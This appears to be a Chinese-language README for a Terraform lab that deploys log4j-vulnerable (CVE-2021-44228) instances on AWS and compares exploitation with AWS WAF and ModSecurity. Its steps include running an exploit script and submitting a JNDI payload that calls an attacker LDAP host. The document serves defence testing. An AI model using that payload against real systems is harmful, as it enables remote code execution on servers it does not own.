本项目文件演示了使用 Terraform 基础设施即代码手段在 AWS 上对 log4j 漏洞(CVE-2021-44228)的概念验证。
此项目包含两个演示:
结论: 第一个演示展示了使用 AWS WAF 的成功利用。第二个演示在启用 ModSecurity 时尝试失败。移除 ModSecurity 后利用成功。这可能是因为 ModSecurity 是一个活跃的项目,因此易受攻击的字符串已被识别并过滤。
此 PoC 来自: https://github.com/kozmer/log4j-shell-poc
这篇 Medium 博客解释了她的尝试过程: https://chennylmf.medium.com/apache-log4j-shell-poc-exploits-5953c42fa873
个人而言,我使用 Windows + Powershell 进行测试,云机器为 Ubuntu 18 LTS。(使用 Kali 或任何 Linux 进行利用)
通过网页创建(命名为 'tf-aws'):https://console.aws.amazon.com/ec2/v2/home?#KeyPairs
https://us-east-1.console.aws.amazon.com/iamv2/home#/users > 选择用户 > 选择安全凭据部分
Powershell:
$env:AWS_ACCESS_KEY_ID="<user access key input>"
$env:AWS_SECRET_ACCESS_KEY="<secret key input>"
$env:AWS_DEFAULT_REGION="<region>"
Linux:
export AWS_ACCESS_KEY_ID="<user access key input>"
export AWS_SECRET_ACCESS_KEY="<secret key input>
export AWS_DEFAULT_REGION="<region>"
cd single-instance
terraform init
terraform apply
运行后,将列出 IP / DNS。
对于 single-instance,确保 http:<aws host url>:8080 可访问
对于 double-instance,确保 http:<aws host url> 可访问
* 请注意,启动 'double-instance' 需要更多时间,可以在 SSH 进入系统后使用 journalctl -f 跟踪进度
如果跟踪日志,出现 "Reached target Cloud-init target." 表示已就绪状态。

设置执行权限
chmod +x ../exploit-script-remote.sh
使用提供的变量运行脚本
../exploit-script-remote.sh
注意,payload 显示在脚本末尾,类似于 ${jndi:ldap://<ip-address>:1389/a}
访问 http:<aws host url>:8080
将 payload 复制到 'username' 字段,然后提交表单

JDK 文件:已确保来自百度源的完整性哈希与 Oracle 相同
SHA256 187EDA2235F812DDB35C352B5F9AA6C5B184D611C2C9D0393AFB8031D8198974
实例: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/instance
竞价实例: https://www.tderflinger.com/en/ec2-spot-with-terraform
SSH: https://jhooq.com/terraform-ssh-into-aws-ec2/ https://docs.aws.amazon.com/cli/latest/userguide/cli-services-ec2-keypairs.html
[即时生成 SSH 密钥] https://stackoverflow.com/questions/49743220/how-do-i-create-an-ssh-key-in-terraform
WAF: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/waf_rule https://medium.com/kudos-engineering/terraforming-amazons-web-application-firewall-e5c22b7d317d https://www.linode.com/docs/guides/securing-nginx-with-modsecurity/
模板化: https://spacelift.io/blog/terraform-templates